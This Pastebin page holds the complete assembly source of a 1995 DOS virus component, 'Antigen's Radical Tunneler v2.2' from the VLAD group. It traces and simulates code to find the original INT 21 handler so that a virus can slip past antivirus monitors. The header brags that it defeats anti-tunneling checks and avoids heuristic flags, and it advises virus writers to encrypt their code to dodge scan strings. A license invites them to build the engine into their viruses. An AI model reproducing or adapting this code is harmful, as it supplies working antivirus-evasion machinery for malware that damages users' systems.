Advertisement
Not a member of Pastebin yet?
Sign Up,
it unlocks many cool features!
- ;>=---- * * * * * * * * * * * A. R. T. is here * * * * * * * * * * * ----=<;
- ; -\ * * * * * * * * * * * version 2.2 * * * * * * * * * * * -\ ;
- ; /_ Antigen's Radical Tunneler v 2.2 Copyright 1995, Antigen/VLAD /_ ;
- ;>=---- * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * * ----=<;
- ;; OLD and exciting features:
- ; - bypasses every stable anti-tunneling code out there which is usable
- ; in an AV TSR, and many that aren't out there.
- ; - aborts gracefully if a bad situation is encountered rather than freezing
- ; - stack tests are futile :) (i.e. TBAV, IBMAV code is useless)
- ;; NEW and exciting features:
- ; - found a bad bug at restore_8c, it didn't restore 8c (not sure how it
- ; slipped by my bug-checking)
- ; - I forgot to include out dx,al entirely
- ; - fixed a problem with Desqview multi-tasking
- ; - only 1407 bytes addition to the file!
- ; - only 1536 or so bytes needed in memory (depends on temp_sp) and if
- ; your virus encrypts, you can use the encrypt buffer for the data
- ; (might want to experiment with using video memory, etc.)
- ; - easier porting of code, just define a label called heap, and copy the
- ; constant definitions from the end of this file to somewhere after
- ; the label - no hastle
- ; - supports tunneling of more than just INT 21 with a variable termination
- ; test procedure and tunneled vector storage location
- ; - doesn't use INT 1 ever
- ; - handles all divide overflow exceptions (instead of just divide by 0)
- ; - handles the bound exception
- ; - handles test r/m8,i8 and test r/m16,i16 correctly (whoops)
- ; - handles setalc
- ; - faster
- ; - written in a half week, and it works better than v 1.0
- ; - no heuristics flags when unencrypted by any scanner
- ; - this test program is easier to use - instead of returning an error code,
- ; it will tell you if it works or not.
- ; - works under DOS, QEMM, Desqview, Windows, Win32, Win95 (beta), PC-DOS 7.0
- ; DOS 7.0 (beta), OS/2, and even Linux's DOS emu!!
- ;!++++++++++++++++++++++++++++!++++++++++++++++++++++++++!
- ;! I highly recommend that you! I even more highly re- !
- ;! use a variant of my entry ! commend that you at least!
- ;! code since it is optimized ! encrypt in memory to av- !
- ;! and _works_ ! oid simple scan strings !
- ;!++++++++++++++++++++++++++++!++++++++++++++++++++++++++!
- ;; READ THIS! READ THIS! READ THIS! READ THIS! READ THIS!
- ;; License agreement:
- ; you the programmer are free to use ART and modify the source code as you
- ; wish (although I wouldn't recommend changing anything but what I designed
- ; to be changed) with one condition: If you release anything (virus, AV)
- ; which contains _any_ portion of ART, that you send me a registered (if AV)
- ; or commented source. There is no license fee, and I expect you to make
- ; necessary modifications as long as I have a copy of the code prior to
- ; release. This is only because I like to see where my code is used, and
- ; since use of ART is free, I would hope you wouldn't pirate it. To contact
- ; me, mail a uuencoded executable (if AV) or commented source to:
- ; vlad@trisection.mit.edu
- ; If you find any bugs or have any comments, please mail those also to
- ; vlad@trisection.mit.edu. Most importantly, enjoy your use of art, and
- ; write some kick-ass stuff which uses it :).
- ;; -Antigen
- ;----------------------------cut---cut---cut---cut--------------------------;
- ideal ; use TASM - you'll like yourself more
- segment code 'code'
- assume cs:code,ds:code,es:code,ss:code
- radix 16 ; use radix 16 or the results will be BIZARRE
- org 100 ; this is a .com- doesn't have to be though
- start:
- push cs
- pop ds
- mov di,sim_flags ; this simply saves code
- mov [word ptr di+(temp_sp - sim_flags)],stack_top + 40
- mov [word ptr di+(_cs - sim_flags)],cs
- mov [word ptr di+(_ip - sim_flags)],offset tunnel
- ;; set the cs:ip of art to cs:tunnel
- mov [word ptr di+(test_exit - sim_flags)],offset _21test
- ;; use the INT 21 tunnel tester
- mov [word ptr di+(tunnel_ip_ofs - sim_flags)],tunnel_ip
- ;; tell art where to put the tunneled cs:ip
- mov [byte ptr di],0
- ;; clear all simulation flags
- mov ah,52
- int 21 ; get DOS list of lists
- mov ax,[es:bx-2] ; ax = first MCB
- mov [word ptr di+(firstMCB - sim_flags)],ax
- mov [word ptr di+(return_address - sim_flags)],offset beginning
- ;; on return from saving the processor state, go to the beginning
- mov ax,0de1bh
- int 15
- mov ah,30 ; we'll use get DOS version
- jmp save_ds ; jump into art
- ;----------------------->> art starts simulating at this point
- tunnel:
- int 21 ; this is tunneled
- ;; if unsuccessful, this will be set to 0ffff (an impossible offset of int 21)
- mov ax,0de1ch
- int 15
- mov ax,[word ptr di+(tunnel_ip - sim_flags)]
- ;; art aborts upon all escsaped 0Fh instructions, and when it finds ARPL,
- ;; FS segment override, GS segment override, Operand Length Override, Address
- ;; length override, coprocessor escape instructions, and BPICE
- push cs
- pop ds
- cmp ax,0ffff
- jne successful
- mov ah,9
- mov dx,offset unsuc_msg
- int 21
- mov ax,4c00
- int 21
- successful:
- mov ah,9
- mov dx,offset suc_msg
- int 21
- mov ax,4c00
- int 21
- unsuc_msg:
- db 'Did not work :($' ; tells you if it works or not
- suc_msg:
- db 'Worked :)$'
- ;;assumptions:
- ; - the code will only be executed in a situation where no delta offset
- ; is necessary, i.e. in residence
- ; - radix is 16
- ; - ss:sp = cs:tempsp
- ; - saved ss:sp is valid
- ;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;
- ;; sim_flags bitmapped values:
- ; 8 7 6 5 4 3 2 1
- ; � � � � � � � �� set ds = traced cs in simulation
- ; � � � � � � �� bound interrupt hooked (0 if divide exception hooked)
- ; � � � � � �� unused
- ; � � � � �� unused
- ; � � � �� set es = old ds in simulation
- ; � � �� unused
- ; � �� unused
- ; �� one of either int 0 or int 5 has been hooked
- unsuccessful:
- mov di,[word ptr cs:tunnel_ip_ofs] ; set in the initialization
- xor ax,ax
- dec ax ; ax=0ffff
- stosw
- exit_art:
- mov [word ptr cs:return_address],offset hide_tracks
- jmp restore_ds ; continue where we left off
- hide_tracks:
- jmp [dword ptr cs:_ip] ; no traces :)
- beginning:
- cld
- mov al,[byte ptr cs:sim_flags]
- ;; did the last instruction require hooking of an interrupt?
- test al,80
- je no_reset
- xor di,di
- mov es,di ; es:di = int 0 vector
- test al,2 ; was it int 5?
- je was_int_0
- mov di,4*5 ; int 5 vector
- was_int_0:
- mov ax,[word ptr cs:int0_5_sip] ; saved int 0/5 vector
- stosw
- mov ax,[word ptr cs:int0_5_scs]
- stosw
- and [byte ptr cs:sim_flags],not 82 ; turn off de flags
- no_reset:
- push cs
- pop es
- mov di,simulate_buffer ; es:di = simulate buffer
- ;; ds:si = traced cs:ip
- mov ds,[word ptr cs:di+(_cs-simulate_buffer)]
- mov si,[word ptr cs:di+(_ip-simulate_buffer)]
- ;; exceptions always push the ip of the ofending instruction on 286+
- ;; and since nobody in their right mind would write software which
- ;; works only on 8086/8088s, I assume this will be the case.
- mov [word ptr cs:di+(int0_5_ip-simulate_buffer)],si ; remember it
- ;; this calls the procedure installed to test whether we've tunneled far
- ;; enough
- call [word ptr cs:di+(test_exit-simulate_buffer)]
- jnc continue_art
- ;; if we reach here, we're done :)
- mov di,[word ptr cs:di+(tunnel_ip_ofs - simulate_buffer)]
- ;; di = 4 byte space for the tunneled cs:ip
- xchg ax,si
- stosw
- mov ax,ds
- stosw ; save the tunneled cs:ip
- jmp exit_art
- continue_art:
- ;; al = 1st byte of next instruction
- lodsb
- stosb ; save in simulate buffer
- call scan_for_invalid ; unhandleable opcode?
- jnc unsuccessful ; damn
- call scan_for_prefix ; prefix?
- jnc continue_art ; if so, read in next byte
- call scan_for_csip_change ; modifies cs and/or ip?
- ;; if so, it never returns, but jumps to continue_art
- call scan_for_int0_5_needed ; hook int 0/5 if needed
- call scan_for_no_mrm ; simple instruction?
- jnc goto_simulate ; then no problems
- ;; if we reach here, the instruction has a ModR/M byte which needs parsing
- push ax
- xchg ax,bx ; bl = instruction
- lodsb ; load the ModR/M into al
- skip_out:
- ;; here's the bug in art 1.0 which I fixed: f6 and f7 ModR/M column 0
- ;; have an immediate value which was never copied to the simulate buffer
- cmp bl,0f6
- je test_immm
- cmp bl,0f7
- jne no_immm
- test_immm:
- stosb ; save the ModR/M
- mov ah,al ; again
- and al,111000b ; if column 0, ZF will be set
- xchg ah,al
- jne no_imms
- test bl,1 ; f7 has 2 bytes, f6 1
- je one_immm
- movsb
- one_immm:
- movsb
- no_imms:
- call immm_parse_ModRM ; skip the stosb below
- jmp rest_main
- no_immm:
- call parse_ModRM ; store and parse the ModR/M
- rest_main:
- pop ax ; al = instruction byte
- call scan_for_immediate ; has immediate bytes?
- goto_simulate:
- jmp simulate
- ;===========================================================================
- ; given a ModRM in al, determine the length of displacement
- ; es:di -> current location in simulation buffer
- ;; format of ModR/M:
- ;; bit: 8 7 6 5 4 3 2 1
- ;; Mod: 1 1 = register value, i.e. just a ModR/M byte
- ;; Mod: 1 0 = memory value + a 16 bit displacement
- ;; Mod: 0 1 = memory value + an 8 bit displacement
- ;; mrm: 0 0 1 1 0 = just a 16 bit displacement
- ;; mrm: 0 0 x x x = just a ModR/M byte (x x x != 1 1 0)
- parse_ModRM:
- stosb ; save the ModRM
- immm_parse_ModRM:
- mov ah,al
- and al,0c0 ; isolate the Mod and the R/M
- cmp al,0c0
- je no_disp
- cmp al,80
- je disp16
- cmp al,40
- je disp8
- and ah,111b
- cmp ah,6
- jne no_disp
- disp16:
- movsb
- disp8:
- movsb
- no_disp:
- ret
- ;===========================================================================
- restore_ds:
- mov ds,[word ptr cs:_ds]
- restore_proc_state:
- mov ax,cs
- mov ss,ax
- mov sp,stack_bottom
- pop ax bx cx dx si di bp es
- popf
- pop ss
- mov sp,[word ptr cs:_sp]
- jmp [word ptr cs:return_address]
- ;===========================================================================
- save_ds:
- mov [word ptr cs:_ds],ds
- save_proc_state:
- mov [word ptr cs:_sp],sp
- mov [word ptr cs:_ss],ss
- mov [word ptr cs:_ax],ax
- mov ax,cs
- mov ss,ax
- mov sp,stack_top
- pushf
- cli
- push es bp di si dx cx bx
- mov ax,cs
- mov ss,ax
- mov sp,[word ptr cs:temp_sp] ; use temporary stack
- jmp [word ptr cs:return_address]
- ;===========================================================================
- ;===========================================================================
- simulate:
- ;; write the ret to simulate buffer
- call write_ret
- mov di,sim_flags ; save bytes
- ;; zero return address for now
- and [word ptr cs:di+(return_address - sim_flags)],0
- test [byte ptr cs:di],10 ; set es = ds?
- je no_es
- sub [word ptr cs:di+(return_address - sim_flags)],\
- start_simulate-let_es_eq_ds ; adjust return address
- no_es:
- test [byte ptr cs:di],1 ; set ds = cs?
- jne let_ds_eq_cs ; ds already = cs
- ;; restore ds if we don't need it to be cs
- mov ds,[word ptr cs:di+(_ds - sim_flags)]
- let_ds_eq_cs:
- add [word ptr cs:return_address],offset start_simulate
- jmp restore_proc_state
- let_es_eq_ds:
- mov [word ptr cs:temp_es],es ; remember for afterwards
- mov es,[word ptr cs:_ds] ; set es = ds
- start_simulate:
- mov [word ptr cs:return_address],offset ds_cleanup
- jmp near simulate_buffer ; do de dirty werk
- ds_cleanup:
- mov [word ptr cs:return_address],offset test_ds
- jmp save_proc_state ; save everytink but ds
- test_ds:
- mov di,sim_flags
- test [byte ptr cs:di],10 ; was es = ds?
- je es_is_just_fine_the_way_it_is ; heh, guess not
- mov ax,[word ptr cs:di+(temp_es - sim_flags)]
- mov [word ptr cs:di+(_es - sim_flags)],ax
- es_is_just_fine_the_way_it_is:
- test [byte ptr cs:di],1 ; was ds = cs?
- je normal_cmp ; if so, and ds now != cs,
- mov ax,ds ; we want top save the change
- cmp ax,[word ptr cs:di+(_cs - sim_flags)]
- jne normal_cmp
- mov ds,[word ptr cs:di+(_ds - sim_flags)]
- normal_cmp:
- mov [word ptr cs:di+(_ds - sim_flags)],ds
- and [byte ptr cs:di],not 11 ; turn off ds = cs,es = ds
- cycle:
- jmp beginning ; go topside
- ;===========================================================================
- write_ret:
- mov [word ptr cs:_ip],si ; save new ip
- mov ax,0ff2e ; cs:...
- stosw
- mov ax,(low offset return_address) shl 8 + 26
- stosw
- mov al,(high offset return_address)
- stosb ; ...jmp [return_address]
- ret
- ;===========================================================================
- scan_for_invalid:
- mov bx,offset invalid_sfi
- mov cx,end_invalid_sfi - invalid_sfi
- jmp scan ; let scan handle the ret
- invalid_sfi:
- db 0f,63,64,65,66,67,0d8,0d9,0da,0dbh,0dc,0ddh,0de,0df,0f1
- end_invalid_sfi:
- ;===========================================================================
- scan_for_prefix:
- cmp al,2e ; cs:?
- je set_sfp
- reset_sfp:
- mov bx,offset prefixes
- mov cx,end_prefixes - prefixes
- call scan
- jc no_reset_sfp
- and [byte ptr cs:sim_flags],not 1 ; turn off ds = cs flag
- no_reset_sfp:
- ret
- set_sfp:
- or [byte ptr cs:sim_flags],1 ; turn on ds = cs flag
- ;; set al = 3e which is ds:
- or al,10 ; this auto. clears carry :)
- dec di ; replace the cs:
- stosb
- ret
- prefixes:
- db 26,36,3e,64,65,0f0,0f2,0f3
- end_prefixes:
- ;===========================================================================
- scan_for_int0_5_needed:
- push ax es di
- cmp al,0f6 ; DIV/IDIV
- je needed0
- cmp al,0f7
- je needed0
- cmp al,0d4 ; AAM
- je might_need_0
- cmp al,62 ; Bound
- je needed5
- do_da_ret_thang:
- pop di es ax
- ret
- needed5:
- mov di,4*5
- or [byte ptr cs:sim_flags],2 ; remember it was int 5
- jmp skip_0
- might_need_0:
- lodsb ; the immediate of AAM
- dec si
- or al,al ; is it 0?
- jne do_da_ret_thang ; if so we need to hook int 0
- needed0:
- xor ax,ax
- mov di,ax
- mov es,ax ; es:di = int 0 vector
- skip_0:
- or [byte ptr cs:sim_flags],80 ; remember we hooked an int
- mov ax,[es:di]
- mov [word ptr cs:int0_5_sip],ax
- mov ax,[es:di+2]
- mov [word ptr cs:int0_5_scs],ax ; save the vector
- mov ax,offset int0_5
- stosw
- mov ax,cs
- stosw ; set it to ours
- jmp do_da_ret_thang
- ;===========================================================================
- standard_cfar: ; call far
- push ds ; return cs
- lea ax,[si+4] ; return ip
- push ax
- ;===========================================================================
- standard_far:
- lodsw
- lodsw ; ax = the new cs
- mov ds,ax
- f_standard_far:
- or al,8 ; make sure al is non-zero
- cmp ax,0 ; shorter than a jmp short
- org $ - 2
- standard_near:
- mov al,0 ; make sure al = 0
- do_gnear:
- mov [word ptr cs:_ip],bx ; save the new ip
- or al,al ; was it far?
- je near_direct
- do_gfar: ; if al != 0 then
- mov [word ptr cs:_cs],ds ; yes
- near_direct:
- jmp to_beginning ; restore temp stack
- ;===========================================================================
- do_cnear:
- lea ax,[si+2] ; return ip
- push ax ; save on stack
- jmp do_near ; do near jump procedure
- ;===========================================================================
- do_cond:
- mov [byte ptr cs:test_jcond],al ; save the jump
- mov cx,[word ptr cs:_cx] ; if loop, it uses cx
- xchg bh,bl ; bh = short offset
- mov bl,0 ; set the current jmp to 0
- mov bp,sp
- mov bp,[bp-2] ; bp = stack word
- push [word ptr cs:flags]
- popf ; restore flags
- push bp ; keep the stack untarnished
- pop bp
- jmp test_jcond ; flush prefetch on 486-
- test_jcond:
- ;; the je is replaced with the jump of choice (current instruction)
- je has_offset
- cmp ax,0 ; shorter dan a jmp short
- org $ - 2
- has_offset:
- mov bl,bh ; use the short offset
- mov [word ptr cs:_cx],cx ; save any changes to cx
- ;; al = relative offset
- do_short:
- xchg ax,bx
- cbw ; convert the short to a near
- xchg ax,bx
- dec bx ; short jmps are 2 bytes
- ;; bx = relative offset
- do_near:
- inc bx
- inc bx
- inc bx ; near jmps are 3 bytes long
- add [word ptr cs:_ip],bx ; set new ip
- ;===========================================================================
- to_beginning:
- mov [word ptr cs:_sp],sp ; remember changes to sp
- mov bx,cs
- mov ss,bx
- mov sp,offset stack_top+300 ; use temporary stack
- jmp beginning ; cycle
- ;===========================================================================
- scan_for_csip_change:
- mov bx,offset temp_sp
- mov [word ptr cs:bx],sp ; save current sp
- ;; use original stack (smaller code)
- mov ss,[word ptr cs:bx+(_ss - temp_sp)]
- mov sp,[word ptr cs:bx+(_sp - temp_sp)]
- xchg ax,bx
- lodsw
- xchg ax,bx
- ;; al = current instruction, ah = 0 (4 lines down)
- ;; bx = next 2 bytes
- dec si
- dec si
- mov ah,0
- cmp al,9a ; call far
- je standard_cfar
- cmp al,0ea ; jmp far
- je standard_far
- cmp al,0ebh ; jmp short
- je do_short
- cmp al,0e9 ; jmp near
- je do_near
- cmp al,0e8 ; call near
- je do_cnear
- cmp al,0e0 ; loopne
- jb no_cond ; loope is e1, loop is e2
- cmp al,0e3 ; jcxz
- jbe do_cond
- no_cond:
- cmp al,70 ; all the jx/jnx jumps
- jb not_jcond
- cmp al,7f
- jbe do_cond
- not_jcond:
- cmp al,0c2 ; ret iw
- je iw_ret
- cmp al,0c3 ; ret
- je standard_ret
- cmp al,0ca ; retf iw
- je iw_retf
- cmp al,0cbh ; retf
- je standard_retf
- cmp al,0cc ; int 3
- je trap_int
- cmp al,0cdh ; int xx
- je do_int
- cmp al,0ceh ; into
- je overflow_int
- cmp al,0cfh ; iret
- je do_iret
- cmp al,0ff ; indirect jmp/call (maybe)
- je test_ff
- jmp restore_temp_stack ; return to the sim cycle
- ;===========================================================================
- iw_retf:
- ;; remember that this is a retf and also not an iret
- or ax,101
- iw_ret:
- ;; remember that an imm16 must be added to sp
- or ah,2
- test ah,1
- jne standard_retf
- standard_ret:
- mov al,0 ; not retf
- cmp ax,0 ; shorter jmp short
- org $ - 2
- standard_retf:
- and al,not 2 ; not iret
- do_iret:
- do_retn:
- pop [word ptr cs:_ip] ; pop ip from stack
- test al,1 ; far?
- je retn_only
- pop [word ptr cs:_cs] ; pop cs from stack
- test al,2 ; iret?
- je retf_only
- pop [word ptr cs:flags] ; pop flags
- retf_only:
- retn_only:
- test ah,2 ; immediate word?
- je no_iw
- add sp,bx ; bx = that word (ca xxxx)
- no_iw:
- jmp to_beginning ; cycle
- ;-----------------------------
- ; thses are used by test_ff
- goto_call_near:
- push si
- goto_jmp_near:
- jmp standard_near
- goto_call_far:
- push [word ptr cs:_cs] si
- goto_jmp_far:
- jmp f_standard_far
- ;===========================================================================
- overflow_int:
- test [word ptr cs:flags],800 ; OF set?
- mov bl,4 ; int 4 if so
- jne do_sint
- mov bx,si ; si = instruction after INTO
- jmp do_gnear ; reuse code to save size
- trap_int:
- mov bl,3 ; use int 3
- do_sint:
- dec si ; cc,ce are 1 byte < cd xx
- ;===========================================================================
- do_int:
- mov bh,0 ; bx = int number
- shl bl,1
- shl bl,1 ; bx = bx*4
- inc si
- push [word ptr cs:flags] ds si ; order of stack in an int
- and [byte ptr cs:flags+1],not 3 ; turn off TF & IF
- xor ax,ax
- mov ds,ax
- lds bx,[bx] ; ds:bx =int vector
- or al,8 ; it's far, so remember
- jmp do_gnear
- ;===========================================================================
- test_ff:
- mov ax,cs
- mov ss,ax
- mov sp,[word ptr cs:temp_sp] ; need temporary stack
- lodsb ; al = ModR/M
- mov ah,al ; remember it
- and al,111000b ; isolate opcode in ModR/M
- push ax ; save for later
- cmp al,2 shl 3
- jb not_csip_ff
- cmp al,5 shl 3 ; if 5 > reg > 2 it needs sim
- ja not_csip_ff
- call get_ModRM ; get the new cs:ip
- xchg ax,bx ; ds:bx = new cs:ip
- pop ax ; ax = reg of Mod reg R/M
- mov ss,[word ptr cs:_ss]
- mov sp,[word ptr cs:_sp]
- mov si,[word ptr cs:_ip]
- cmp al,2 shl 3 ; call near
- je goto_call_near
- cmp al,3 shl 3 ; call far
- je goto_call_far
- cmp al,4 shl 3 ; jmp near
- je goto_jmp_near
- cmp al,5 shl 3 ; jmp far
- je goto_jmp_far
- not_csip_ff:
- dec si ; ds:si -> ModR/M
- pop ax ; pop to get the ret to work
- mov al,0ff ; now it's like when started
- ret
- ;===========================================================================
- scan_for_no_mrm:
- cmp al,0e ; push cs
- jne not_pushcs
- dec di ; es:di -> push cs
- or al,10 ; push ds
- stosb ; switch push cs with push ds
- or [byte ptr cs:sim_flags],1 ; remember to set ds = cs
- ret
- not_pushcs:
- cmp al,8c ; mov r/m16,segmentr register?
- jne not_mov_reg_seg
- lodsb ; al = ModR/M
- push ax ; save it
- and al,111000b ; isolate the register
- cmp al,1000b ; cs?
- jne not_cs
- or [byte ptr cs:sim_flags],1 ; set ds = cs and use ds
- pop ax
- or al,10000b ; now = ds
- setup_skip:
- pop bx ; pop the return address
- push ax ; setup to skip normal route
- mov bl,08c
- jmp skip_out ; go directly to parse_modR/M
- not_cs:
- ;; now to check for:
- ; mov [cs:somewhere],ds
- ; which becomes
- ; mov [ds:somewhere],ds (mov [cs:somewhere],cs - oops)
- ; so I use
- ; mov [ds:somewhere],es and set es = ds
- cmp al,11000b ; ds?
- jne restore_8c
- test [byte ptr cs:sim_flags],1 ; is ds = cs? urgh, problem
- je restore_8c
- or [byte ptr cs:sim_flags],10 ; OK, use es instead
- pop ax
- xor al,11000b ; use es
- jmp setup_skip
- restore_8c:
- dec si
- pop ax
- mov al,8c
- stc
- ret
- not_mov_reg_seg:
- cmp al,0c8 ; enter?
- jne next_sfnm
- movsw ; the only 4 byte instruction
- movsb
- ret
- next_sfnm:
- cmp al,40
- jb do_scan_sfnm ; 40 <= instructions <= 61
- cmp al,62 ; are all 1 byte instructions
- cmc
- ja success_sfnm
- do_scan_sfnm:
- cmp al,90 ; 9a is never seen here
- jb do_scan_sfnm2 ; 90 <= instrucitons <= 9f
- cmp al,0a0 ; are all 1 byte instructions
- cmc
- ja success_sfnm
- do_scan_sfnm2:
- push ax
- mov bx,offset one_byters
- mov cx,two_byters - one_byters
- call scan ; scan for 1 byters
- jnc success1
- mov cl,three_byters - two_byters
- call scan ; scan for 2 byters
- jnc success2
- mov cl,end_sfnm - three_byters
- call scan ; and three byte instructions
- jc no_success_sfnm
- movsb
- success2:
- movsb
- success1:
- mov ah,0 ; shorter jmp short
- org $ - 1
- no_success_sfnm:
- stc
- pop ax
- success_sfnm:
- ret
- one_byters:
- db 6,7,0e
- db 16,17,1e,1f
- db 27,2f
- db 37,3f
- db 6c,6dh,6e,6f
- db 0a4,0a5,0a6,0a7,0aa,0abh,0ac,0adh,0ae,0af
- db 0c9
- db 0d6,0d7
- db 0ee
- ;skip halt (no need to worry if that's executed!)
- db 0f5,0f8,0f9,0fa,0fbh,0fc,0fdh
- two_byters:
- db 04,0c,14,1c,24,2c,34,3c ;add/or/adc/sbb/and/sub/xor/cmp al,ib
- db 6a ;push imm8
- db 0a8 ;test al,ib
- db 0b0,0b1,0b2,0b3,0b4,0b5,0b6,0b7 ;mov rl/h, ib
- db 0d4,0d5 ;aam and aad
- db 0e4,0e6 ;in/out al,ib
- db 0e5,0e7 ;in/out ax,ib
- three_byters:
- db 05,0dh,15,1dh,25,2dh,35,3dh,45,4dh,55,5dh ;add/or/etc. ax,iw
- db 68 ; push imm16
- db 0a0,0a1,0a2,0a3 ;mov al/ax,[mx],mov [mx],al/ax
- db 0a9 ;test ax,iw
- db 0b8,0b9,0ba,0bbh,0bc,0bdh,0be,0bf ;mov rx,iw
- end_sfnm:
- ;===========================================================================
- scan_for_immediate:
- push ax ; opcodes with an imm value
- mov bx,offset immediates_8
- mov cx,immediates_16 - immediates_8
- call scan
- jnc success_1_sfi
- mov cl,end_immediates - immediates_16
- call scan
- jc no_imm_sfi
- movsb
- success_1_sfi:
- movsb
- no_imm_sfi:
- pop ax
- ret
- immediates_8:
- db 6bh,80,82,83,0c0,0c1,0c6
- immediates_16:
- db 69,81,0c1,0c7
- end_immediates:
- ;===========================================================================
- ; es:bx = index
- ; al = byte to scan for
- ; cx = number of bytes to scan
- scan:
- cmp [es:bx],al
- je found_scan
- inc bx
- loop scan
- stc
- found_scan: ; if =, CF will be cleared
- ret
- ;===========================================================================
- _21test:
- ;; check for instructions which DO NOT exist at DOS entry point
- cmp [byte ptr si],0cf ; iret
- je not_in_DOS
- cmp [byte ptr si],0cbh ; retf
- je not_in_DOS
- cmp [byte ptr si],0ca ; retf iw
- je not_in_DOS
- cmp [byte ptr si],0c3 ; ret
- je not_in_DOS
- cmp [byte ptr si],0c2 ; ret iw
- je not_in_DOS
- mov ax,si
- mov cl,4
- shr ax,cl ; un-segmentize
- ;; segmentize our current location
- mov cx,ds
- add ax,cx
- cmp ax,[word ptr cs:firstMCB]
- not_in_DOS:
- ret
- ;===========================================================================
- ;; interrupt handler (sets up tracing through the int handler)
- int0_5:
- mov di,sim_flags
- add sp,4
- ;; push the 'real' return address, replacing the simulate buffer's location
- push [word ptr cs:di+(_cs - sim_flags)]
- push [word ptr cs:di+(int0_5_ip - sim_flags)]
- ;; save the new sp
- mov [word ptr cs:di+(_sp - sim_flags)],sp
- lds ax,[dword ptr cs:di+(int0_5_sip - sim_flags)]
- ;; ds:ax = new cs:ip (location of their int 0/5 vector
- mov [word ptr cs:di+(_cs - sim_flags)],ds
- mov [word ptr cs:di+(_ip - sim_flags)],ax
- ;; restore temp_stack
- mov ax,cs
- mov ss,ax
- mov sp,offset stack_top + 300
- and [byte ptr cs:di],not 11 ; turn off any flags still on
- jmp beginning ; cycle
- ;===========================================================================
- get_ModRM:
- mov [word ptr cs:temp_sp],sp
- dec di
- ;; use a temporary instruction to get what's at the ModR/M easily
- mov al,0c5h ; lds r16,r/m16
- stosb
- mov al,ah
- and al,11000000b ; look at the Mod
- ;; if it's 2, then the r/m is a register and lds r16,r16 is invalid, so
- ;; use mov r16,r16 instead
- cmp al,11000000b
- jne OK_to_use_lds
- ;; this only happens for call,jmp near
- dec di ; es:di -> lds r16,r/m16
- mov al,8bh ; mov r16,r/m16
- stosb ; replace the lds
- OK_to_use_lds:
- mov al,ah
- and al,11000111b ; set r16 to ax
- call parse_ModRM ; copy correct number of bytes
- call write_ret ; write the return and save ip
- mov [word ptr cs:return_address],offset next_gmw
- test [byte ptr cs:sim_flags],1 ; ds = cs?
- je no_gmw_ds
- jmp restore_proc_state ; restore all but ds
- no_gmw_ds:
- jmp restore_ds ; restore everything
- next_gmw:
- mov [word ptr cs:return_address],offset next_gmw1
- jmp near simulate_buffer ; get the address in ds:ax
- next_gmw1:
- and [byte ptr cs:sim_flags],not 1 ; turn off the flag
- restore_temp_stack: ; self-explanatory
- mov bx,cs
- mov ss,bx
- mov sp,[cs:temp_sp] ; all set :)
- ret
- ;===========================================================================
- ; put this label anywhere you want
- heap:
- sim_flags = offset heap
- firstMCB = sim_flags + 1
- tunnel_ip = firstMCB + 2
- simulate_buffer = tunnel_ip + 4
- temp_es = simulate_buffer + 16
- return_address = temp_es + 2
- temp_sp = return_address + 2
- tunnel_ip_ofs = temp_sp + 2
- int0_5_ip = tunnel_ip_ofs + 2
- int0_5_sip = int0_5_ip + 2
- int0_5_scs = int0_5_sip + 2
- _ip = int0_5_scs + 2
- _cs = _ip + 2
- _ds = _cs + 2
- stack_bottom = _ds + 2
- _ax = stack_bottom
- _bx = _ax + 2
- _cx = _bx + 2
- _dx = _cx + 2
- _si = _dx + 2
- _di = _si + 2
- _bp = _di + 2
- _es = _bp + 2
- flags = _es + 2
- stack_top = flags + 2
- _ss = stack_top
- _sp = _ss + 2
- test_exit = _sp + 2
- ends code
- end start
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement